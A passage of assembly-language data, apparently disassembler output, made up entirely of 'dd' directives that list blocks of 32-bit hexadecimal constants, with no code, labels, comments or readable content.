		dd 7E92B52Bh, 4EF42A2Ch, 1DBA8C76h, 0D838E348h,	0A12FB717h
		dd 0A26A84B8h, 5680682h, 0FC0C36C2h, 1D217A33h,	0ED5EF009h
		dd 3574075Ah, 7ADBFE09h, 93E57701h, 212839Fh, 5FFEF3AAh
		dd 0A9D934EEh, 1D3865Dh, 9EEF7939h, 22E950E0h, 3A4BE69h
		dd 17E792A2h, 0BBC1010Ch, 16B3BE2Ch, 152BB6Fh, 0CF67D59Ah
		dd 36C22F6Bh, 5F0882C1h, 0AD1F758h, 420DF4A7h, 0A848250Ah
		dd 3BA150F3h, 5E8A7CC2h, 0CF66E28h, 0F14FE9F9h,	0BD98D697h
		dd 0F12DAF96h, 0F8D7CD1Dh, 1978B768h, 0C427D3A4h, 0F7EB22CBh
		dd 1F5BFFA7h, 0E67CD627h, 0EAC0A1A3h, 2CCAC16Ah, 0C15D4F51h
		dd 3FDE77A9h, 98A148E2h, 0E8D9971Bh, 7A8DC9EFh,	0B08531C6h
		dd 0EDD7B078h, 66F7168Ch, 1707F149h, 0C1732375h, 59C008C5h
		dd 486364C9h, 681FE601h, 4C6CBE6h, 0F7A9A3D7h, 2E8A8D0h
		dd 0F9BE012Dh, 0EDE98F0Ah, 0BB689DB0h, 67E638C4h, 60014D4h
		dd 701CDAEFh, 0DF293F26h, 3C08C728h, 0C2CCF75Bh, 0BE069000h
		dd 69F2E90Fh, 8FBBA0D3h, 0EF404EC7h, 0E9FFC480h, 2F2CB296h
		dd 3F535450h, 5E89680Bh, 6C5525CBh, 27269821h, 29980518h
		dd 44B56401h, 6F149501h, 9D78C609h, 41E9816Ah, 0E3E21358h
		dd 8A20C19Ah, 97D301D0h, 0E9D0B376h, 0DDC35BB9h, 19353066h
		dd 6EC60C0Ch, 7050445Dh, 4C99BFB8h, 3BB62208h, 0A841CF54h
		dd 20CD5E43h, 0BAF291ECh, 22E1450Ah, 67510043h,	0FBE96EA1h
		dd 5103BE6Ch, 0BE476462h, 2034110Bh, 1B01F738h,	0A44ED6F7h
		dd 0BB0F2606h, 0CE17AE32h, 6F22A0F6h, 0C8F03142h, 109C240h
		dd 70C789FEh, 94579DF7h, 4E21FE6Fh, 1C988BC7h, 0D42F15CFh
		dd 7B9872A4h, 55FAAEEDh, 9750305Bh, 105A2D08h, 0B24EF9F8h
		dd 9A26ECA2h, 1A6812B7h, 2F5CF360h, 0D57E8BB2h,	340B7C0Fh
		dd 6E9D127Ah, 8C269CFCh, 0C3BDBF5Ah, 3D100E39h,	0CC0599F3h
		dd 0DDD8AD16h, 0C054C289h, 675008E1h, 6C96DF6h,	0E682D7CBh
		dd 6879F068h, 26B05085h, 0F6A883ABh, 0AF0A8A12h, 46851137h
		dd 0C18186BCh, 7B9AB44Fh, 6CE28B87h, 2F4BFA8Eh,	16FD6084h
		dd 4C682FD4h, 90267A6Dh, 16470E2h, 0E186C680h, 53423476h
		dd 0B644B307h, 879B28D7h, 8031FEDBh, 0F6CDB0E6h, 35A266BFh
		dd 32B44CC1h, 5C22E630h, 85800B2Fh, 0EA8875B5h,	8F692CF2h
		dd 406BCA12h, 0C095D0D3h, 4C3AEBEFh, 68152A54h,	402D796Eh
		dd 868021B5h, 0CFFE30F9h, 0ABE18008h, 2AB7530Fh, 285B8230h
		dd 0EFA085CBh, 5EC5DC40h, 0B58D63ACh, 0CCBF74F0h, 0BB3926EEh
		dd 20076FD8h, 0F1570994h, 5502EB3Ah, 500BCAFh, 75721E62h
		dd 7B0A0914h, 0C6A16C24h, 3C4D7A68h, 0CA5ADAA3h, 46747790h
		dd 13EB58E4h, 60B729ACh, 282AA3Ah, 0FC2355F5h, 0D2FF4E79h
		dd 85FF561Bh, 7636FBF9h, 0A71A139Ah, 41BEE840h,	0A0617F07h
		dd 40AF96A0h, 270B4609h, 5B2DA0D6h, 4EE94183h, 6A313B7Bh
		dd 537A618Ch, 0F586BB9Ah, 66812A3h, 827CED2Fh, 7C8A75E9h
		dd 689C60CEh, 0AAA7B4Fh, 0D0058E81h, 3E22D9E0h,	0C408DA05h
		dd 7B68B5EEh, 4D18101Ch, 13B9CD7Bh, 1F549B06h, 0E24A8317h
		dd 0F0B454Eh, 0D01A169Dh, 0D9589FCBh, 51E94F0Bh, 32AD5977h
		dd 0CFA85598h, 165409ADh, 0F131CBF2h, 0E4C669AEh, 9F3C7BE4h
		dd 0F0CF0163h, 6F7A1BF8h, 0DD650CC1h, 826F6E66h, 0E7FF5D75h
		dd 0F032FD7h, 919C33E9h, 5584FD4h, 79B0ED09h, 9625885Fh
		dd 81CE0102h, 0ADA856EEh, 7D9E7D58h, 0B73AF72Dh, 6533CE11h
		dd 80AC3FF9h, 42AF683Eh, 524C6BCCh, 806D27C5h, 4D5CBE4Dh
		dd 21E4CA4h, 0F5546A25h, 0C9B464EFh, 5F7AB1F6h,	0EEE3C46Bh
		dd 0F7306D8Dh, 3D5017AAh, 82C4AE69h, 93E9080Fh,	3980F5B0h
		dd 0EA9D61CAh, 4F29301h, 0B3690585h, 4C512F76h,	6FB809A7h
		dd 0C5021F6Eh, 0E37CF154h, 2CF3E57Ah, 5A611019h, 34AFA484h
		dd 0D482FBB6h, 83F6A29Dh, 920B40EFh, 927CB55Dh,	2FFC45E9h
		dd 462D2AF2h, 4CD4663h,	0E23766EDh, 0AAD4EF1Fh,	18860814h
		dd 0F1BFAD60h, 0B0D1375h, 1212AF4Dh, 33CB120Fh,	7135B700h
		dd 5EB53Fh, 62DE0D1h, 0E9F7D4EEh, 0D119AB2Bh, 88519E30h
		dd 75CBE4C1h, 9518B059h, 0D297C8F3h, 41319D82h,	2468DCADh
		dd 5FD8B85Bh, 7E078B01h, 0B92A36B2h, 27E93D0Dh,	65A4FC4Bh
		dd 6FB2AF41h, 0A18DB213h, 0E7B12A76h, 4ACF82FAh, 0AEEE2492h
		dd 0BD0C63D6h, 739065CAh, 0FBED192h, 774B99C2h,	23921498h
		dd 2BDD75AAh, 0CB2D5C15h, 0AD8285C2h, 0BA7F3F0Ch, 69F3C1ADh
		dd 0EF4BBB7Dh, 56C9331Eh, 7C46FF5Ah, 0A026F3B0h, 29016621h
		dd 5BD8E9FAh, 0ABCB435h, 6589DE25h, 52090F4Ch, 7412BD68h
		dd 0BC4FB976h, 468D93D9h, 0C9D571DAh, 0ED20AA70h, 8ABD07FCh
		dd 0A22CA366h, 95594219h, 5F61BE83h, 50E7EA21h,	5D596081h
		dd 0FB7DFF2Dh, 57F53D50h, 8927694Dh, 0BFD8708Fh, 5770D25Eh
		dd 1D8C824Ah, 50B828EAh, 38136818h, 0E1A243D7h,	803A77C2h
		dd 0BBE9BAA1h, 0D3DE24F5h, 0F83CEF9Eh, 0FDAC2B5Ah, 17AEBCE5h
		dd 3F53B9E9h, 0DAF940D9h, 20B94CA0h, 1B5C3E7h, 2073031Ch
		dd 6F86A17Ah, 0D6C96DB2h, 0AFEC67F5h, 5B6116D5h, 86DFBD5Dh
		dd 0E8F3057Ah, 0D9578106h, 1EA5566h, 386A3BECh,	0B8508102h
		dd 4D58EF79h, 6DF0E82h,	37E2AE78h, 417BE65Dh, 0E8B3E6Ah
		dd 0A655AC65h, 79CF2CE2h, 491DB1A6h, 2247FD65h,	6B7D5127h
		dd 126A6E7Fh, 358DFAE9h, 0C10FFE36h, 992A85D8h,	0BE2597A9h
		dd 0ECF2229Bh, 5A5F3450h, 81695688h, 0D25C7030h, 0EF72140h
		dd 4F4868DFh, 5870AE17h, 9003EFC1h, 90FF25B5h, 5EC47759h
		dd 5BDE01AAh, 0F888228Ah, 2E0E58C1h, 8CE92606h,	0B2D2755h
		dd 354A770Ah, 75D82477h, 31E23FACh, 3ABE4BD8h, 816BA02h
		dd 195F436h, 5FC42801h,	0ABF53F05h, 2F8C2420h, 0EF04EA7Eh
		dd 0CEFE00E2h, 7AC0F680h, 976FF828h, 71D4225Fh,	2027723Ah
		dd 62B58BC7h, 0E1C575EDh, 0F9635232h, 0A7628B53h, 97AA4CFDh
		dd 7B88D771h, 86AE30C6h, 4C556F1Bh, 0C0ECCFE4h,	67C6D60h
		dd 0D4586825h, 70E941D2h, 55BD2ABCh, 0C578D29Eh, 0FF8BAFD5h
		dd 0BA0B4F2Dh, 1231D3DEh, 373D2664h, 3F2B5207h,	81E26547h
		dd 824A616Dh, 62CEE318h, 140575B1h, 68C8EF31h, 0D1CD4E56h
		dd 2AC3E244h, 521E8AF3h, 0DD509C88h, 0E9C542D0h, 1B7142C3h
		dd 0E40C8082h, 0F9847739h, 7B01EA46h, 1F186FCh,	0C85D74EAh
		dd 183D02B5h, 0E4D74099h, 102102DCh, 0FA017330h, 0C998BB6Ch
		dd 33FF64C1h, 47E102Fh,	16A21FB8h, 18D1DF01h, 0B87A54DFh
		dd 4DBC4A08h, 0EDA8EFB4h, 0F691D2B4h, 0F2A60FF5h, 0F4868DEBh
		dd 4695CB0Eh, 465B0BA7h, 5A124C1Fh, 0A276A42h, 5808A244h
		dd 702C7655h, 0A86426E9h
		dd 0F1BF2D50h, 221C3030h, 592951B5h, 0F8F47FC8h, 1142568h
		dd 5B8B11D9h, 9BA6619h,	132C6D64h, 0D3409D4h, 0B7DAFC2h
		dd 0CF070E7Ch, 12154BFBh, 0DF25BF00h, 4521CE0Bh, 52C342F9h
		dd 0C209937Fh, 98D89Eh,	0F602EBC0h, 0ADF380DBh,	49BE54BFh
		dd 12393584h, 32A8A900h, 1C537519h, 0C9DC3DBBh,	0DB5231BCh
		dd 50EBE927h, 0A9AC5F1Fh, 16AD856Bh, 0C1A84EFAh, 3EAAF009h
		dd 0EF7E17F3h, 30C42324h, 4A87CFB0h, 6A9CBB2Ch,	484640CBh
		dd 656BD6ECh, 47E2FF2Ah, 0CBFC6060h, 0F1734394h, 1D82D44Ch
		dd 0F0E495EFh, 73FDDDE0h, 38EB2BE1h, 0A05DE9A8h, 0F45F304Bh
		dd 25B02BEh, 67EB8179h,	3AFC757Eh, 0FB33860Ah, 0E09CE90Bh
		dd 67F766A9h, 6BDD06D5h, 7F8D5402h, 79661E1h, 0D2C7C2DBh
		dd 0CEB72C5Eh, 0D6E4250Eh, 0E7741E09h, 0F33E8005h, 0BF129F72h
		dd 948002D0h, 3BE15E91h, 0F3B79CE8h, 0A025D1Dh,	79226D68h
		dd 780FD5Ah, 75C31407h,	0E1E9491Fh, 57BB24F2h, 0D9B734F8h
		dd 0F1FB3F75h, 60F26134h, 2C4DFC5Eh, 8BBD38FBh,	9B2DEC2h
		dd 0C67E372Fh, 3C6BCA80h, 91DF29DBh, 74D3081Eh,	5F28EB2Eh
		dd 0A673EA04h, 81C04172h, 69598C19h, 9A758E8Dh,	442B62DDh
		dd 129F5A65h, 0BBB3EE9Bh, 8280AC93h, 0F708E868h, 15306717h
		dd 0AC5C97E9h, 0CA6595A4h, 25D24188h, 28C18B4Ah, 36126F7Fh
		dd 88FACCABh, 0CBF8EC5Eh, 6434053Bh, 0E69CC208h, 0FF2529D1h
		dd 801400B6h, 16F156ECh, 96E97CCAh, 1E732077h, 13C6093Fh
		dd 717505C5h, 8B0B21EBh, 5AB98B01h, 1D4F4861h, 330B77Eh
		dd 29C90F8Fh, 220955C7h, 0A75BBCDEh, 0C4E15ABCh, 12155886h
		dd 287040B0h, 5E862320h, 175BBD6h, 84A03581h, 0B75D777Bh
		dd 5C93F90Fh, 7DC847BAh, 7A1EC0BFh, 0A89A541Bh,	13897523h
		dd 0E27AF1D5h, 0A9C48650h, 94A40ED7h, 3CB40CEBh, 0B50C489Eh
		dd 6EE41E13h, 70B78422h, 0B66CBDE6h, 928024Dh, 9A039C68h
		dd 0D9C602BFh, 0E0C000C3h, 214C0408h, 93EB3E65h, 50D187BEh
		dd 657E5B2Fh, 6657BF90h, 0B9242CFAh, 0E1E8B00h,	52CE0578h
		dd 0B8134A6Bh, 0E90740E2h, 7A8B6549h, 97747D0Fh, 7F1E4B08h
		dd 5FF549A2h, 0CD607A07h, 60580C3Dh, 3AA61825h,	89261AE2h
		dd 0F10069E9h, 38B161E0h, 19569F31h, 0BA538D03h, 0CF0C0429h
		dd 0A89C7E99h, 966817B5h, 9EDE4BA8h, 317C8AFEh,	0A1FF92E0h
		dd 0C4CB6E78h, 0A6D2B753h, 4AB34BF8h, 0A60AB740h, 8E37A88Bh
		dd 7DC52E64h, 0C7C10D9h, 816A7A68h, 0F6255E66h,	0D7E9C220h
		dd 5EC7D726h, 57AF6805h, 4C1F3850h, 7C191C1Fh, 5C237C2Fh
		dd 1623ED2Fh, 4BB2FA99h, 0F543B8A5h, 0E9DAF0BBh, 7756092Dh
		dd 6C1F0318h, 0DD7E8825h, 0A3E95318h, 0D335CD4Dh, 9FC1E2C8h
		dd 0F1580704h, 9DDC298Ch, 9CFE8592h, 0D9BD59A1h, 6ED578C3h
		dd 437ADCB7h, 0BEC45312h, 4B680E98h, 6630BF1Ah,	0EA4C41h
		dd 27E9B853h, 0D03123DFh, 896FAEC4h, 5F4FDCA4h,	0C6EBEC62h
		dd 9499DEF7h, 1102C99Ah, 9F7179A1h, 37575F1Eh, 0B5F10E90h
		dd 74EF25FCh, 2E28F054h, 495ABB09h, 96D006Bh, 0B423351Fh
		dd 0A308A0DCh, 0FF5C882h, 837E5FD3h, 5795AB52h,	85CBEA7h
		dd 74025CBh, 0AEE35060h, 0C777025Ah, 498E19D3h,	4FFF7DC0h
		dd 0B822B265h, 885AC84Ch, 0E30E1F03h, 7D007E16h, 555FA09h
		dd 9A0B1C35h, 0A0C3E96Ch, 160EBFC0h, 810C0107h,	6863FBE7h
		dd 1BF7D82Bh, 6E363113h, 80F09544h, 805A5904h, 1B21EEBEh
		dd 2BE1DA7Dh, 377ECECDh, 471FE24Fh, 3320DF72h, 0AB9EC765h
		dd 0FB550406h, 96018BD5h, 212561D6h, 98FFB02Fh,	4C052840h
		dd 6B3E3DE4h, 0A6DCC325h, 2B22FFD2h, 300541F8h,	0B46E00EFh
		dd 0BDF48036h, 0E6A8C6FCh, 0DF58F747h, 466208Eh, 670196BEh
		dd 490EA4Ch, 3C1CC85Dh,	6DC31A7h, 0DCF02D89h, 52C68013h
		dd 0F7C2F2A2h, 1FE6205Ah, 4C87584Fh, 4F97AD56h,	3653BF51h
		dd 7D80F6AFh, 0E471032Fh, 0F45E727Ah, 0B4F14B1Dh, 17090AEDh
		dd 7FEF2945h, 5A4F8DCEh, 15E8D5ACh, 0EB3D2197h,	6DE14B37h
		dd 9854EC2Bh, 0E0513218h, 8B77B4EDh, 0ADD1B78Bh, 750C9426h
		dd 0CC25D53h, 480A59B3h, 906410Ch, 564A5ADDh, 272DB426h
		dd 82211CFFh, 86FA56FDh, 67EFF1E9h, 0DF4C0598h,	6FA084FBh
		dd 1D4B025Fh, 58437E9Bh, 2E9A16BBh, 12498B40h, 54F8ED2Dh
		dd 6FF28181h, 84BAE6AAh, 603717DCh, 2A824FEh, 3F46E908h
		dd 339FC75Fh, 0EB8DDEE6h, 5C0BDE2h, 42616C95h, 305878EAh
		dd 96147A14h, 14EEC523h, 40072DF8h, 0D58220FBh,	3B762441h
		dd 5D5D210Bh, 2E54C849h, 9C85C9A3h, 0C5F3EBF5h,	0A7E11C89h
		dd 0BCB8F580h, 0A41FDE06h, 78A15497h, 9760ED7Eh, 0A21369ECh
		dd 843CED03h, 4FB8AC83h, 0B697CCB4h, 10344145h,	1B0709B9h
		dd 33804A21h, 690A7BC0h, 7F99649Fh, 9BE9EE9h, 0A104D4F6h
		dd 55D7CC11h, 6806804h,	0BEB6C1Dh, 0FFA540E7h, 0D72CAB59h
		dd 0ACB20E9h, 55E45C4Bh, 0CCAA1F0Dh, 5E4B89A8h,	22B5E244h
		dd 5ED59E19h, 91688AA3h, 0CEEB277Ah, 69281BD0h,	0C9814902h
		dd 0D5E0418Dh, 0A4158B00h, 8B58017h, 9302BBDBh,	0D7429D26h
		dd 80493EAh, 96E6A95Fh,	67B50DE0h, 2157CF89h, 0DA6D27BFh
		dd 81CCA663h, 0A6488863h, 4424840Ah, 0E9F80901h, 0CA3E183Fh
		dd 0BB5310A1h, 22D5E79Eh, 0FF52D51Fh, 2D683D10h, 100C3349h
		dd 813B0C06h, 4EE8E94Fh, 0BA4C53FBh, 94B46B12h,	165050EFh
		dd 0A3D03BAh, 216C6859h, 50C44D17h, 0B9E88E99h,	0BA77A32Eh
		dd 21D44978h, 5514D83Eh, 7216BD70h, 69120FDCh, 93234F0Eh
		dd 2D6E0BFAh, 0B722AEDFh, 0E92C42BFh, 0AA5C8BC8h, 0ABDDA289h
		dd 0A7A55C7Eh, 142DE8FEh, 6858131Eh, 0BB7ED4F9h, 991808CAh
		dd 9CF2E53Ch, 0D05B3A3Fh, 0DF13B2E2h, 5EEADDCh,	0FAAF0CDCh
		dd 0BE4E53A7h, 3ECA2E44h, 86C1AB13h, 0DA64D7B8h, 495FF80h
		dd 0AB4AC17Ah, 8B400C9Ah, 0B23500D4h, 34E58140h, 32676418h
		dd 0AFC1E60Ch, 71254521h, 28798DFCh, 1DA00124h,	0AF04698Ch
		dd 6E5335C1h, 0DDA1F9FCh, 0DAD53E8Ah, 87AA7112h, 0F2CB87A7h
		dd 51F5CDA8h, 1329A57Dh, 28E7DE88h, 259E7975h, 21682C54h
		dd 7DB2A666h, 203C8CFCh, 3DAED9D1h, 0FAE4039Ah,	0ABC0DCF6h
		dd 74ECC105h, 2FE0696h,	0E12084BCh, 0F15191A7h,	2B28CCF1h
		dd 2CC712E2h, 985277Eh,	0FFFE8505h, 0EE4EC9F7h,	0B4EDEE8Dh
		dd 53682289h, 34AAE1FDh, 0E3E1A338h, 2E8633BFh,	803F456h
		dd 0FC737030h, 38687688h, 36892CF4h, 0AE41D15Dh, 0F98BC803h
		dd 0E7B7FABDh, 0F87AA46Fh, 22493605h, 9FE114E9h, 5F44FA2Fh
		dd 0DFEC3DB5h, 0B92BDFB7h, 6FC3AA0h, 639D7199h,	7459EA22h
		dd 0D9B80190h, 6E43B164h, 1D8175E0h, 854DBAF1h,	0AF3CE963h
		dd 0B131FE8Dh, 0B73445F5h, 0BE77C07Ah, 646CA4C7h, 0E9A643B5h
		dd 0E227C635h, 87B0B04Eh, 2DF67582h, 88BFE87Ah,	7619BD7Bh
		dd 378CBBA2h, 0AA621101h, 0A052FF8Eh, 1711FE09h, 0A0645F76h
		dd 366E997h, 5FE75C6h, 0A68E8172h, 6309C53h, 2EEF4121h
		dd 70DA54ABh, 0D572A12Dh, 0D96B9509h, 16C50429h, 2E7B68F7h
		dd 67B088BCh, 9731955Fh, 6C5F4B83h, 0BF7E5587h,	0B9FC639h
		dd 8B4806F3h, 0E5981B88h, 0CA9E89Fh, 0D976821Eh, 16EBDE12h
		dd 0C16CF20Bh, 0E9BEF680h, 8B256CA7h, 4B58EC1Fh, 0C0E4C8BCh
		dd 0A174E02Ah, 0E8C1641Bh, 13BAF4FCh, 59B2ABDCh, 0BB3C7BC5h
		dd 0AAE128E2h, 76C004B4h
		dd 285C2CC3h, 0C4BF670Ah, 0AA4C54D2h, 1C8659C6h, 97701052h
		dd 0AC80AE09h, 2FC5CF1h, 0E9EB2995h, 4E7D4024h,	498CF62Bh
		dd 701AA63h, 5E7A4C4Bh,	0FCE28146h, 0E985B3B4h,	604BD5DAh
		dd 3D96CEE0h, 744D2A30h, 99117F5h, 0F6C2E960h, 8D5FD248h
		dd 0BF575401h, 38E40840h, 0BC8AD2Ah, 0F6B078F5h, 63C508C8h
		dd 9E04BF16h, 4EBF7683h, 3733FCA6h, 0D4EA84F1h,	75FDBFF9h
		dd 4EF5CAA5h, 0A0961392h, 0B72A2DF9h, 31B9279Eh, 750562D5h
		dd 0F10B44F8h, 0DA0D1974h, 5C989FB7h, 5864A6E9h, 3682EF69h
		dd 2DCC714Fh, 0A2305252h, 2EEBA5EAh, 8486273Bh,	0F79E807Fh
		dd 25E953D3h, 0B4FB6863h, 6720AB02h, 9946F703h,	6BCDE916h
		dd 1F3151E4h, 0FD16CA26h, 0C98F33FDh, 0F4C0C567h, 1EF6BDF3h
		dd 0A1C3944Ch, 42AE7C0h, 1F92C7E6h, 3E5102FBh, 5D5B0C80h
		dd 91E0CF96h, 9EDE595h,	2A648E06h, 27965560h, 9765901Dh
		dd 6BE99901h, 70D326Eh,	17697462h, 7F61DFB2h, 7FA0D744h
		dd 0B0973AFCh, 0BE6A871Fh, 8EAB62CDh, 3C7BEBD4h, 8152E4CEh
		dd 470F0E7Ch, 14DE2915h, 581608EDh, 0A72F8055h,	5AF01254h
		dd 780B090h, 744A97E9h,	0BB5AFE9h, 0BDE018E6h, 0E9817384h
		dd 0AAD1931h, 9417311Bh, 492998FFh, 9E3F5925h, 4B681228h
		dd 625242F4h, 0EA31558h, 0E66287D4h, 8EFDF907h,	7549714Eh
		dd 22E96DDh, 0C3CBB53h,	45401290h, 5A3B3997h, 84F30F72h
		dd 21A2E3BAh, 5B3D0BDAh, 525C61E9h, 0FB4ED953h,	9C421694h
		dd 7167F700h, 0E2C14A6Fh, 12F2C4C0h, 0B6BBA0AFh, 3F1226C0h
		dd 0BF4ED45Bh, 0ACE94890h, 0A948D2B3h, 0DA080142h, 0CD31B56Ah
		dd 80DC672Ah, 2B415BD2h, 0AA06019Fh, 29C9A43Fh,	227ED806h
		dd 0F71CFB0Ch, 7A5FD0DBh, 4DE9F8C6h, 532894F6h,	58297E9Fh
		dd 9120D551h, 2F49E390h, 54248BDh, 5F6F11B8h, 0D8062CEEh
		dd 0AD22E7B7h, 0B98A237Dh, 47A4F951h, 7EB9C96Eh, 0CA54DF5h
		dd 64088FF1h, 12482CDBh, 76CEC01h, 3EC644E3h, 8E2632F5h
		dd 9C58EE7Dh, 0EC684171h, 667B9772h, 4FFC2757h,	98102548h
		dd 54571370h, 6190991Eh, 1F69BE07h, 39763919h, 0ACFC0453h
		dd 80A4647Dh, 520EABF1h, 0EF097B7Ch, 86155432h,	831CF7C1h
		dd 141C4008h, 0F630B55Eh, 3314FCC7h, 25F42EB1h,	676D7E37h
		dd 0F611C151h, 0EA46F8D1h, 9FE0D582h, 7E638068h, 30A083D9h
		dd 745A5D1Ah, 0F0F189A7h, 0F8997505h, 6BF2600h,	0FAFA2135h
		dd 33666E27h, 0A3417FC5h, 12552FAh, 0CA0E80EAh,	88DA296Ch
		dd 1C3008C9h, 4B79083Ch, 2044CA3Dh, 194F2D01h, 5C7938C4h
		dd 5A168D4Eh, 0D478B92Dh, 5FA6C840h, 0B08A3044h, 0C1788812h
		dd 721C7EB5h, 2DE85BF7h, 6B279046h, 2804430h, 687DDD98h
		dd 0A3D9506Ah, 0C61FA582h, 0C1CA422Ch, 402A6F74h, 3FAEC36Dh
		dd 25F62BC7h, 0E0DCA0B5h, 130D6851h, 0E0144E3Bh, 0E0F2F5Ch
		dd 0BD572817h, 0EA0B4B25h, 69C6FC6Eh, 715AFF76h, 0B0026574h
		dd 0D716293Fh, 0DFBA148Bh, 8BB84027h, 55FC35D7h, 78425709h
		dd 840811FCh, 0D1310E87h, 987BF57h, 0D03A174h, 61F24993h
		dd 973E77DEh, 4789633Fh, 2DBAE4C2h, 9AD537C1h, 0DA626068h
		dd 44491B29h, 37F07841h, 0E1EC7552h, 0F47FFD28h, 0C9005B92h
		dd 1B204AB6h, 97DE93E9h, 0E7231F20h, 56123632h,	4BBFD689h
		dd 440F1F1h, 28275B66h,	32457DF0h, 0ABA497h, 89B35375h
		dd 4C3C3FEh, 989CE380h,	452CDEBh, 36E9DEB6h, 0C2C5D49Eh
		dd 0C77561DFh, 0D45E9977h, 8C052FD5h, 0AAAD69E9h, 0A8F7266Bh
		dd 0A808AB4Ch, 0D7762D86h, 83445A50h, 6EF7C1A7h, 6CA66119h
		dd 5953102Dh, 1EB0117h,	1E3F325Dh, 746F0009h, 20B4984Fh
		dd 682536F4h, 0C349DC0Eh, 5D5047B0h, 3016397Dh,	1F47120Ch
		dd 0DC2AA05h, 3682F570h, 0FADE2F75h, 85296463h,	0CF70E2FAh
		dd 86F45466h, 95A436CDh, 0C7F16156h, 0BD34007Bh, 151AD791h
		dd 9406EDF5h, 48BD325h,	9E12407h, 18C4DAC0h, 0E9FB1F85h
		dd 3C7E25EEh, 0FCCAE153h, 2B37D27Eh, 4C25FC56h,	5E7CF8DBh
		dd 25294284h, 0C0754E9Eh, 24239FDFh, 10A05502h,	6ABE1F96h
		dd 0D2782A89h, 753F0943h, 3A5542E1h, 0F50C096Fh, 58E7DB2h
		dd 362E0782h, 9DD152FDh, 19A29740h, 0C3254437h,	35F239F0h
		dd 8B4C2DE9h, 2888BAF1h, 3FDE2520h, 87544F18h, 578D0575h
		dd 972DE949h, 72EAA7BAh, 23E5C95Bh, 296C448Bh, 15F5C0Bh
		dd 2A9B765Bh, 8E946B05h, 4B7FA3EFh, 590F91EBh, 0D18A7A5Eh
		dd 0B49CF717h, 6428F096h, 0C3099119h, 0F4CD6933h, 0C3D027B5h
		dd 0E3B98486h, 0B1B87413h, 8F68BE5Fh, 0FD8441E5h, 82B17F3Dh
		dd 206E5BD1h, 2FDCE9F6h, 7E0431ABh, 44A041A8h, 6709C0BEh
		dd 5DB03D75h, 0D2131B09h, 42A6002Fh, 5E157148h,	1390AC31h
		dd 27AB8F45h, 89D1825Eh, 557E24DFh, 457AE456h, 0E7EA8282h
		dd 8DB20038h, 832CEA80h, 75396F28h, 0E4414E98h,	9706D904h
		dd 6BE58763h, 4DE048DCh, 5B9F5166h, 0EB0B16DDh,	7714CFC2h
		dd 51E92ED1h, 25F6A56h,	44F83F33h, 8A0F8F4h, 67E0F4B5h
		dd 0A75EE965h, 394F6841h, 678C7348h, 72E3111Fh,	5BF7460Dh
		dd 1F8B243Bh, 73B98995h, 5A827548h, 742B6C25h, 0F8719E7h
		dd 3F936889h, 2BD8DAD6h, 0A4ED4AE3h, 2761B061h,	6DEB3548h
		dd 55612761h, 0FBE5F24h, 47432534h, 82700033h, 292F7BAFh
		dd 0D4E9F509h, 1E0E7919h, 685642F7h, 2674729Fh,	78E41D2h
		dd 77ACA7Fh, 2158C589h,	98C15DF3h, 5EFA680Ah, 0ACE02530h
		dd 9D034F03h, 0C8FFC580h, 994EA268h, 0BCB68FAFh, 9E82C6CBh
		dd 33B24609h, 8B6A65D5h, 2D72A99Fh, 53685A0Bh, 8BBFD913h
		dd 62F64DE1h, 2F9B1B63h, 0C3763159h, 27A21DB6h,	2351F477h
		dd 4426E528h, 8350C66Fh, 1269EDEAh, 276AD010h, 0A98D55Ah
		dd 0F1BDF830h, 0A3E963B7h, 5677338Eh, 6382F030h, 20654F7h
		dd 0FA21FD0Bh, 0A65E555Fh, 3C650258h, 0CD2D1407h, 0F0956C94h
		dd 225A242Eh, 14EC4E93h, 0FA9E5B0Fh, 0F6EF5664h, 0DF5824F7h
		dd 553BB342h, 0E44A81CEh, 0A87A64ACh, 0D8B504ADh, 580672B9h
		dd 2A0F0E48h, 0B6F85785h, 0F19573BAh, 4BBDE03Fh, 6027F211h
		dd 58677429h, 7469FEE9h, 3934FC42h, 8006EC83h, 0ACF1D8C4h
		dd 5B0272A8h, 13147DD8h, 5C70D54Ch, 0B1EFDFFCh,	0DAD10306h
		dd 0AC75B680h, 0E91605DAh, 0DD884232h, 0BDCBA05Bh, 6F33813Fh
		dd 2017B3B6h, 551A73Bh,	59565DBAh, 43095385h, 0ECD025Fh
		dd 0B0D464B6h, 3E51735h, 2DEA869h, 4BF3CE81h, 8E9A41D0h
		dd 5827A668h, 2F0B1A7Bh, 80B67B44h, 7D3012BBh, 505BE47h
		dd 31146946h, 4172B1C1h, 0EB05C404h, 7FF301C1h,	777C2902h
		dd 0B329F42h, 0D3210048h, 2E5B147Ch, 0E84B45ADh, 1069A1B4h
		dd 97834802h, 0FEAD063Eh, 123068B5h, 0C8E00769h, 0D3FA0959h
		dd 302D6FD5h, 2FB7C25Dh, 3BC986F8h, 0E2250032h,	40223148h
		dd 4D03B535h, 740D0BA2h, 2D69F112h, 4C9D17DCh, 1925A26Bh
		dd 5580AD7Bh, 7626B850h, 406E001Bh, 32072C05h, 0D62EE91Ch
		dd 54ADF0A5h, 41FC2772h, 6C9D2DAAh, 0E2FA27C2h,	0D5EB33FCh
		dd 64973B1Ch, 2C72559h,	386439D9h, 0DC3058D0h, 525B0166h
		dd 0EE805FB6h, 3AF920F8h, 4F28180h, 0D1ECF1E7h,	0E143AA29h
		dd 4A47E8E9h, 13C5ECB7h, 92FC83F7h, 3C956883h, 2DA8EB84h
		dd 3225B4F1h, 1508D316h, 0C96805EAh, 77E74915h,	13BE9A20h
		dd 3E558410h, 710840D3h
		dd 465F6928h, 4EA4DABh,	2CF511DCh, 0F8BF60FDh, 0E6DF72F6h
		dd 7849592h, 0C5EBE6ABh, 90EAFB01h, 0F31795ECh,	38F511Eh
		dd 0B082B54h, 0A9FE3CE9h, 1E907C9Bh, 0C0A09739h, 24542977h
		dd 9FEF0859h, 83A0E6D6h, 0DBD69D05h, 0F56BDE21h, 0D7EC1F09h
		dd 0A9742F21h, 61FB02D1h, 858032E4h, 7B82537Ah,	0B5F060B7h
		dd 1AE1766h, 4F481AF0h,	5165ED79h, 59417C82h, 7880ED6Fh
		dd 84AEB445h, 4AE5F71Bh, 7ECEA0h, 0CE056D37h, 2D450277h
		dd 0E30F1400h, 7A8D0D7Fh, 9447AFDh, 7232ED76h, 0BE0938D6h
		dd 4647F95Eh, 21FC65D5h, 7EA5D057h, 311F52BDh, 17312E06h
		dd 2EF23951h, 0F020EB3h, 0D65AD331h, 2DD02D85h,	15120D4Eh
		dd 5B9F8EBEh, 2B074F80h, 9DBB0450h, 0A0405C0Bh,	0F4972921h
		dd 0F461252h, 0FA29C297h, 0E989D4C5h, 5ED05801h, 5F78A666h
